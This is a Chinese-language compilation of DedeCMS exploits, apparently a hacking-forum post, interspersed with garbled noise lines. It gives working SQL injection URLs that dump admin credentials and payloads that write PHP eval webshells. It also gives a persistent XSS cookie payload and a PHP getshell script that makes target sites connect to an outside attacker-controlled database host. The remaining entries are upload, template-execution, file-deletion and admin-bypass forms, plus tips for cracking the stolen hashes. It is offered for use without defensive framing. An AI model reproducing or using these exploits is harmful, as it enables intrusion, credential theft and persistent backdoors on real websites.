dedecms漏洞总结

admin

' l1 w! p6 }: P5 u) q6 ?Dedecms 5.6 rss注入漏洞
http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2))%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23'][0]=1




2 Q% i+ D7 E% s4 f/ Y& g



" g8 l8 K. t# G" [) u, M- YDedeCms v5.6 嵌入恶意代码执行漏洞
# m1 X9 |+ z8 w注册会员，上传软件：本地地址中填入 a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}
发表后查看或修改即可执行
( ^9 t% M% V9 f: xa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码xiao，直接生成一句话。
& I8 Q) W% A* `* Q


8 C. H& S, N+ L- B* Q8 _* F
/ s! w0 w$ w4 N$ P


  p: g& v! D  E" \
5 T5 z: p' E- o# zDede 5.6 GBK SQL注入漏洞
http://www.test.com//member/index.php?uid=''%20||%20''''%20||%20''%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7'';
http://www.test.com//member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7WFXSSProbe
http://www.test.com/member/index.php?uid=%E6%B6%9B%E5%A3%B0%E4%BE%9D%E6%97%A7





" q7 ?; [/ a4 S- \+ R* |

9 F1 n( H; J" }# q) J
! j* N, ?! z0 dDedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
7 ?# Y' Y$ _& T$ Y0 l( ~7 X0 Dhttp://www.test.com/plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
9 G' D- V/ V7 s1 I. w. o

/ @. y3 o0 a$ O' _4 d* h
. L) j: ?2 M! L& {# ^, Q7 k7 R2 s
0 {  s0 T% g: m$ G
6 o, ?6 f+ F1 K2 n8 i; h$ [
DEDECMS 全版本 gotopage变量XSS漏洞
" ~% o* }1 x/ C  A1.复制粘贴下面的URL访问，触发XSS安装XSS ROOTKIT,注意IE8/9等会拦截URL类型的XSS漏洞，需关闭XSS筛选器。
7 L2 E9 F5 u) `0 zhttp://v57.demo.dedecms.com/dede/login.php?gotopage="><script>eval(String.fromCharCode(80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,61,39,34,62,60,115,99,114,105,112,116,62,97,108,101,114,116,40,47,120,115,115,32,114,111,111,116,107,105,116,33,47,41,60,47,115,99,114,105,112,116,62,60,120,61,34,39,59,32,13,10,118,97,114,32,100,97,116,101,61,110,101,119,32,68,97,116,101,40,41,59,13,10,118,97,114,32,101,120,112,105,114,101,68,97,121,115,61,51,54,53,59,32,13,10,100,97,116,101,46,115,101,116,84,105,109,101,40,100,97,116,101,46,103,101,116,84,105,109,101,40,41,43,101,120,112,105,114,101,68,97,121,115,42,50,52,42,51,54,48,48,42,49,48,48,48,41,59,13,10,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61,39,103,111,116,111,112,97,103,101,61,39,43,80,101,114,115,105,115,116,101,110,99,101,95,100,97,116,97,43,39,59,101,120,112,105,114,101,115,61,39,43,100,97,116,101,46,116,111,71,77,84,83,116,114,105,110,103,40,41,59,13,10,97,108,101,114,116,40,39,88,115,115,32,82,111,111,116,107,105,116,32,73,110,115,116,97,108,108,32,83,117,99,99,101,115,115,102,117,108,32,33,33,33,33,39,41,59))</script><x="

4 v0 j8 T4 I! M. b, N
2.关闭浏览器，无论怎么访问下面的任意URL，都会触发我们的XSS。
http://v57.demo.dedecms.com/dede/login.php?gotopage=dasdasdasda
8 i1 ]7 E- y5 N+ u4 x

http://v57.demo.dedecms.com/dede/login.php
- c9 T! W/ @) m4 G. z+ C
- V: E) {: @/ A1 l! s  s8 v
color=Red]DeDeCMS(织梦)变量覆盖getshell
: ?2 b2 a' A0 }: a2 h. N- r#!usr/bin/php -w
<?php
error_reporting(E_ERROR);
set_time_limit(0);
print_r('
- ]; E% `+ |5 w- N5 `* L! X& YDEDEcms Variable Coverage
2 O8 |' S& H: J2 K: S  qExploit Author: www.heixiaozi.comwww.webvul.com
  x+ ]& n1 g: L2 l; Y+ v);
% u5 K, W0 V' ~4 e( \7 fecho "\r\n";
( G* N; j( B+ A( m/ Mif($argv[2]==null){
2 T+ w4 w+ P5 @print_r('
- [2 L% j& V* w' b2 T/ R) d+---------------------------------------------------------------------------+
Usage: php '.$argv[0].' url aid path
aid=1 shellpath /data/cache aid=2 shellpath= / aid=3 shellpath=/plus/
1 j: \1 m# w4 I+ @Example:
8 |- j* r' C! d" o& f, B2 w: }4 lphp '.$argv[0].' www.site.com 1 old
5 s9 J% S+ P& ^# n  s+ x+---------------------------------------------------------------------------+
( w( g7 C+ |; k+ R');
exit;
) I- G0 q9 }9 K9 Y3 t5 _8 Z! @}
; o/ B3 K1 h( g: v% a& X2 H$url=$argv[1];
$aid=$argv[2];
6 k& S- D+ M+ D: a2 m) E$path=$argv[3];
$exp=Getshell($url,$aid,$path);
if (strpos($exp,"OK")>12){
echo "
  t2 b; m; F( g& A! c, w) pExploit Success \n";
if($aid==1)echo "
/ y- U) l5 }3 Y. q0 s+ K: cShell:".$url."/$path/data/cache/fuck.php\n" ;


if($aid==2)echo "
Shell:".$url."/$path/fuck.php\n" ;
9 w( h- d/ b6 s: y  v, s& ^2 Q

3 A; i0 n; K- |% r. Fif($aid==3)echo "
Shell:".$url."/$path/plus/fuck.php\n";
" R% q& t, F) H7 l( C7 K( t

9 s: L1 q+ G6 {( h4 h# _}else{
2 d5 s/ w9 w' o9 N& }( |! {& a7 Techo "
& K5 P8 i8 p, @" w; ZExploit Failed \n";
}
" A$ ^7 Y* p3 i; V2 N" S0 z% p' }/ @function Getshell($url,$aid,$path){
$id=$aid;
$host=$url;
$port="80";
) P' E( Q. Y& J! i$content ="doaction=http%3A%2F%2F$host%2Fplus%2Fmytag_js.php%3Faid%3D1&_COOKIE%5BGLOBALS%5D%5Bcfg_dbhost%5D=184.105.174.114&_COOKIE%5BGLOBALS%5D%5Bcfg_dbuser%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbpwd%5D=90sec&_COOKIE%5BGLOBALS%5D%5Bcfg_dbname%5D=exploit&_COOKIE%5BGLOBALS%5D%5Bcfg_dbprefix%5D=dede_&nocache=true&QuickSearchBtn=%CC%E1%BD%BB";
7 i/ s1 L" q- o+ I' e) n3 ?$data = "POST /$path/plus/mytag_js.php?aid=".$id." HTTP/1.1\r\n";
# V+ I6 `% i, e  J- l8 {$data .= "Host: ".$host."\r\n";
  q" g  W. W0 Z$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
2 J; d: m8 s! J$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$data .= "Accept-Language: zh-cn,zh;q=0.5\r\n";
//$data .= "Accept-Encoding: gzip,deflate\r\n";
* i& u9 ?, I7 j& J8 [0 w$data .= "Accept-Charset: GB2312,utf-8;q=0.7,*;q=0.7\r\n";
& E$ q: P6 E, ~( E: b! a& d$data .= "Connection: keep-alive\r\n";
$data .= "Content-Type: application/x-www-form-urlencoded\r\n";
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
, [1 t7 A7 W4 c$data .= $content."\r\n";
- K. q% t( _0 {( h* D, z3 O4 z( k$ock=fsockopen($host,$port);
6 |, A+ J7 [4 d! Xif (!$ock) {
8 B0 S$ `/ X2 `  c) l0 {' C4 jecho "
No response from ".$host."\n";
}
+ A. T0 U" ]9 G: Q; I* s/ Ifwrite($ock,$data);
3 F# T3 F2 D" ?* I  \& Q6 Cwhile (!feof($ock)) {
$exp=fgets($ock, 1024);
return $exp;
* U% m+ r# P! ^  `}
) T' w% \/ e; a" R" r}
' C8 R6 x+ ^- {

% v! G/ O7 u# E& H/ s?>

# x' W5 y) f& D6 a& o! K

: E9 c$ m- X% V: X



0 F/ F! q2 Z2 b' _* H" [$ n' L" W


DedeCms v5.6-5.7 越权访问漏洞(直接进入后台)
" D/ G" J' }0 W; f$ mhttp://www.ssvdb.com/织梦网站后台/login.php?dopost=login&validate=dcug&userid=admin&pwd=inimda&_POST[GLOBALS][cfg_dbhost]=116.255.183.90&_POST[GLOBALS][cfg_dbuser]=root&_POST[GLOBALS][cfg_dbpwd]=r0t0&_POST[GLOBALS][cfg_dbname]=root


把上面validate=dcug改为当前的验证码，即可直接进入网站后台

& t& E6 \. y. g8 y+ }% p0 s
$ e: n' h0 H% b9 ^此漏洞的前提是必须得到后台路径才能实现
! p- b) F: i: X9 H! g/ y  G% a2 j
5 H' h: u& P6 b7 F
2 T6 g3 U' t7 t) _6 ]
# i4 S7 J0 n' ^4 R0 k' R

9 y! o' w/ ~. y" \1 S

+ z/ K9 b6 m' o/ e2 J

# C$ ^( Z% O( a  i
4 H: M: i! @& l$ M9 x2 T: J' f3 vDedecms织梦 标签远程文件写入漏洞
- `/ |; N. {5 ?4 _. t/ L# |前题条件，必须准备好自己的dede数据库，然后插入数据： insert into dede_mytag(aid,normbody) values(1,''{dede:php}$fp = @fopen("1.php", \''a\'');@fwrite($fp, \''\'');echo "OK";@fclose($fp);{/dede:php}'');

% J6 k, |0 ?4 o. ]5 O. {! }$ t
再用下面表单提交，shell 就在同目录下 1.php。原理自己研究。。。
9 S/ X$ c% w8 W' V<form action="" method="post" name="QuickSearch" id="QuickSearch">
8 |% V/ [2 T. S5 z<input type="text" value="http://www.tmdsb.com/plus/mytag_js.php?aid=1" name="doaction" style="width:400"><br />
- M' E4 |3 f' m. N- Y3 e* @( Z  h8 m<input type="text" value="dbhost" name="_COOKIE[GLOBALS][cfg_dbhost]" style="width:400"><br />
4 H" q# y/ C/ `0 j/ n  t1 {9 c# K3 _<input type="text" value="dbuser" name="_COOKIE[GLOBALS][cfg_dbuser]" style="width:400"><br />
0 d& T7 V& I) y<input type="text" value="dbpwd" name="_COOKIE[GLOBALS][cfg_dbpwd]" style="width:400"><br />
<input type="text" value="dbname" name="_COOKIE[GLOBALS][cfg_dbname]" style="width:400"><br />
<input type="text" value="dede_" name="_COOKIE[GLOBALS][cfg_dbprefix]" style="width:400"><br />
<input type="text" value="true" name="nocache" style="width:400">
6 g7 A0 O% a6 O1 o<input type="submit" value="提交" name="QuickSearchBtn"><br />
6 t9 _$ p# C4 ]# f# V- W( S+ C# l</form>
, `- q1 ~: E. ], e, U! G<script>
function addaction()
{
( @: W1 L7 F! f% u% v/ v* Wdocument.QuickSearch.action=document.QuickSearch.doaction.value;
}
; w: S5 Z- T3 I</script>

& J/ C! [9 Q/ F( Z
" z6 L5 I/ n3 f  v8 j
5 W: I3 x  W; h7 q$ B
# _: c. B: J) P/ u' u0 k! I
& A2 C# M5 ~" s7 ^% \  f) }7 |2 v

- {4 A: N' d6 |  e
' q8 j1 T$ W/ ~0 G" c1 u( P4 d1 ]
2 b3 k; K: O; f% j3 A
DedeCms v5.6 嵌入恶意代码执行漏洞
' E3 i" M. Q  s( J8 K/ F注册会员，上传软件：本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57}，发表后查看或修改即可执行
0 h* w1 T* G# Y+ {0 Fa{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
" t3 @1 Z: E$ O7 a+ x) J生成x.php 密码：xiao直接生成一句话。密码xiao 大家懂得
Dedecms <= V5.6 Final模板执行漏洞
注册一个用户，进入用户管理后台，发表一篇文章，上传一个图片，然后在附件管理里，把图片替换为我们精心构造的模板，比如图片名称是：
uploads/userup/2/12OMX04-15A.jpg


模板内容是（如果限制图片格式，加gif89a）：
5 b! r; Y% ?8 E5 t# r. ~{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
2 E6 R5 W3 X) e9 Q$ e5 {@fclose($fp);
{/dede:name}
2 Z3 `- `2 C( w  }' y2 修改刚刚发表的文章，查看源文件，构造一个表单：
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data">
2 N$ ?" a$ N% E<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
. ?0 f% T. n6 `: S<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
0 D5 h7 i9 p# e<input type="hidden" name="sortrank" value="1275972263" />


<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>

! N' b: |) p- l) B, P$ S
) D; p) l+ E3 o1 i1 r$ R<div class="postForm">
<label>标题：</label>
; U: z# J) d! M" b<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
8 \# }" ~0 t: W: e) r' N8 V
: a: S* w0 o* b$ h6 O4 L
<label>标签TAG：</label>
, H4 o6 D3 }. s<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
( M1 ~# q$ S9 O! z! m* G8 E6 q0 @
/ v" W" m" g0 o
<label>作者：</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>


' M, M5 _' f- ?' K. m  F<label>隶属栏目：</label>
8 }# N: x# T5 x0 y; [1 Z<select name='typeid' size='1'>
! i# i4 a4 f" x; y) N6 U" J<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
2 W% O' [# z% M+ [" E
2 r- l" ^- T$ _+ I( V/ u
8 F4 W! Y* e2 Z. h0 g( `<label>我的分类：</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
0 t; @) a+ D2 S& W$ ~# w</select>


<label>信息摘要：</label>
<textarea name="description" id="description">1111111</textarea>
+ i$ J+ X, p" j" @(内容的简要说明)


<label>缩略图：</label>
3 ]2 H6 x( Q5 O  y3 q5 L<input name="litpic" type="file" id="litpic" maxlength="100" class="intxt"/>

) F! Q( y# ?5 E' a; b, P
0 _$ ?7 p# B' P* n8 U2 m" `<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
  x8 [% R. f2 Q3 i+ f6 u9 g<input type='text' name='dede_addonfields'
value="templet,htmltext;">（这里构造）
, y# u4 C+ z4 z( l/ O4 [4 v6 g</div>

* [$ l% m3 u% p; l" z' c
, S* @+ P  Y7 |/ F+ n; O/ X+ _3 g4 I<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
6 v6 g( R" f+ S0 [( A& l$ Q2 l
1 q! _- O& D* x" B
<div class="contentShow postForm">
! N3 O6 o2 i2 }5 P) N; P5 w<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
3 B0 b" r9 d, G5 A: D
1 @# g1 O+ d  K2 S5 j- H3 h5 j
+ C  A& u; p% Q' \. l<label>验证码：</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1 /dede/include/vdimgck.php" alt="看不清？点击更换" align="absmiddle" style="cursor:pointer" />


4 c& r( P/ f0 r7 I2 G$ W) P# d<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset">重置</button>
; ]% S1 ?" y* I2 R- t</div>

2 h* A$ L0 t9 l6 H, s% e, A
. V8 D+ W/ i* E% A4 s" x8 n* ^</div>
! \% q. P5 B& T" s! e! S8 C) H3 n! i
9 f5 m" x% n; I0 o) z
! w1 A& g4 k- S, C- T: ?3 \</form>


提交，提示修改成功，则我们已经成功修改模板路径。 3 访问修改的文章：
- F; R1 g# |6 {  m- T' X+ A假设刚刚修改的文章的aid为2，则我们只需要访问：
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成webshell：1.php

3 v$ Q; ]% _9 \
9 ?8 i# D! \" ]# k2 W* N( c5 l
6 G' I7 k: `# \. r# Z3 [) ^


! X  e& d/ z% Q9 |  f
; V+ P( G/ K8 U


3 _. a9 i. g8 g6 H, o
  U( K' a4 L' e, G
DEDECMS网站管理系统Get Shell漏洞(5.3/5.6)
Gif89a{dede:field name='toby57' runphp='yes'}
! i, |+ H* A$ g$ dphpinfo();
{/dede:field}
) O# T- \$ f7 y! V. ?7 U! z! a9 U4 E保存为1.gif
  Y# H+ n! g+ l3 \. ?<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
; T* [$ K. o3 K  T+ U0 V<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
! ]0 U- O; l: G1 f& C<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
5 u9 T1 i8 {3 m) X" l, U

构造如上表单，上传后图片保存为/uploads/userup/3/1.gif
发表文章，然后构造修改表单如下：
- |9 D8 }& f3 z, J, K* c

<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
* W* Z  n! N6 F1 n. {- ?% G' h, h6 J<input type="hidden" name="dopost" value="save" />
6 @, B5 L9 v6 [7 Q6 _4 P<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
2 F4 y: |, @/ h% Y  U5 g3 h<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
% \. ]/ i1 N# s9 p7 L2 ]<select name='typeid' size='1'>
6 ?: t6 c+ `* A5 E<option value='1' class='option3' selected=''>Test</option>
' ~# o$ Z% u  l; P+ F6 p<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
( x6 B+ l3 a$ |( i, d<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
</form>




1 w9 {, u; Y0 o& _

# a" H: l7 d* T2 `4 p




$ R8 B) f" Q# q2 T1 g% `' q
织梦(Dedecms)V5.6 远程文件删除漏洞
http://test.com/member/edit_face.php?dopost=delold&oldface=/uploads/userup/8/../../../member/templets/images/m_logo.gif

/ ^9 C9 }/ M) A  ]" H+ A% C


9 }1 T' b9 F8 R, W

6 E9 {+ v# Q$ b1 V  a1 ?4 r
; [: e, Z: W% ^# G2 \
* h6 a' p1 p+ ^0 I* T! I' f9 `3 ?
, r" Q1 ^% w5 h# w5 r# A
织梦(Dedecms) V5.6 plus/carbuyaction.php 本地文件包含漏洞
http://www.test.com/plus/carbuya ... urn&code=../../



. t- l: k0 J! M0 U% Q, y/ |
; j9 o; k: m) ~% g


* o( g+ T: `* Q' W- G
- u5 Q' b) z* z! S
/ I. S! T6 B, K) P. R- P, e
DedeCms V5.6 plus/advancedsearch.php 任意sql语句执行漏洞
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
/ L; i$ S+ Y; N6 j7 G3 v. V密码是32位MD5减去头5位，减去尾七位，得到20 MD5密码，方法是，前减3后减1，得到16位MD5

; Z' D& r1 U, [% h
8 _% R1 F: n7 b  @: ]


2 M' L9 N( A0 t& r

" B7 E7 X5 o9 o: p; j


织梦(Dedecms) 5.1 feedback_js.php 注入漏洞
" v0 ]* _& v$ u% @9 ^http://st0p/dedecms51/plus/feedback_js.php?arcurl=' union select "' and 1=2 union select 1,1,1,userid,3,1,3,3,pwd,1,1,3,1,1,1,1,1 from dede_admin where 1=1 union select * from dede_feedback where 1=2 and ''='" from dede_admin where ''='
! u( U, M) x. _" }/ i( p0 D



* {7 O  w: R, Q+ ]) G7 A" u


) i! r8 A3 G5 B% {: e
' R- e" k  O& V4 I

/ r$ Q. M; C9 T  J; \. e织梦(Dedecms)select_soft_post.php页面变量未初始漏洞
) q4 O3 p: O( u, Q$ `<html>
: G: D& e: Q4 f- D$ S3 H<head>
<title>Dedecms v55 RCE Exploit Codz By flyh4t</title>
</head>
5 {$ k0 o. S: O/ i1 N+ B7 p<body style="FONT-SIZE: 9pt">
---------- Dedecms v55 RCE Exploit Codz By flyh4t---------- <br /><br />
" r2 e) f5 z5 F- H+ @+ p7 [<form action=http://www.nuanyue.com/uploads/include/dialog/select_soft_post.php method='POST' enctype="multipart/form-data" name='myform'>
" s( d* V. X: `$ y. J/ W<input type='hidden' name='activepath' value='/data/cache/' />
<input type='hidden' name='cfg_basedir' value='../../' />
& Q. j( m( c; {6 X0 a<input type='hidden' name='cfg_imgtype' value='php' />
/ i3 m& K; p( U) F3 z  @6 U! }* U<input type='hidden' name='cfg_not_allowall' value='txt' />
<input type='hidden' name='cfg_softtype' value='php' />
9 o# \, g( I# Y- W- I. f( @<input type='hidden' name='cfg_mediatype' value='php' />
<input type='hidden' name='f' value='form1.enclosure' />
<input type='hidden' name='job' value='upload' />
<input type='hidden' name='newname' value='fly.php' />
& k$ ]9 `( V+ nSelect U Shell <input type='file' name='uploadfile' size='25' />
<input type='submit' name='sb1' value='确定' />
3 K, v( i2 \2 Y5 `8 P, m</form>
. W) ?5 W5 e  K& k) C<br />It's just a exp for the bug of Dedecms V55...<br />
4 R0 z) K. V" d% s: {Need register_globals = on...<br />
Fun the game,get a webshell at /data/cache/fly.php...<br />
</body>
. g* e; \5 G2 {+ r% r/ W</html>
  v1 \7 o6 p4 m4 U# _: n+ A5 _


5 u1 F" e' l% i$ E# y7 V3 q

2 f* x( A6 ?: r1 q; s+ S



2 H; Y7 K4 i8 k. M# Y, h2 ~
织梦(dedecms)5.3 – 5.5 plus/digg_frame.php 注入漏洞
利用了MySQL字段数值溢出引发错误和DEDECMS用PHP记录数据库错误信息并且文件头部没有验证的漏洞。
4 s0 x5 s- U! w4 y5 b5 J) T1. 访问网址：
. @( `4 y- G5 o+ O# |) l' \http://www.abc.com/plus/digg_fra ... 024%651024&mid=*/eval($_POST[x]);var_dump(3);?>
9 D) E$ _* x% [% r& B1 z1 @可看见错误信息


5 D+ `  U* o  }' B' l, n( K, O" s0 ~2. 访问 http://www.abc.com/data/mysql_error_trace.php 看到以下信息证明注入成功了。
int(3) Error: Illegal double '1024e1024' value found during parsing
Error sql: Select goodpost,badpost,scores From `gxeduw_archives` where id=1024e1024 limit 0,1; */ ?>


3. 执行dede.rar里的文件 test.html，注意 form 中 action 的地址是
1 ]: ~, ^9 m/ Q. R

<form action=”http://www.abc.com/data/mysql_error_trace.php” enctype=”application/x-www-form-urlencoded” method=”post”>


, ?$ `. {+ F* _2 y7 m: ]按确定后的看到第2步骤的信息表示文件木马上传成功.
0 u' |( `$ D) N

$ `2 j4 m0 \3 s9 R: n
/ b* U1 ~  L; ]/ @2 Y8 t

! J1 v1 `7 |# j" c/ g  Y4 z
* W  j' v( X* F6 P" s' r5 i$ i& r


# m1 F7 m- y+ |' t$ a& n
0 ]1 B5 H. l' d6 j

$ _9 I4 L+ N8 Q. N2 r# Z- ]$ W织梦(DedeCms)plus/infosearch.php 文件注入漏洞
http://localhost/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,userid,4,pwd,6%20from%20dede_admin/*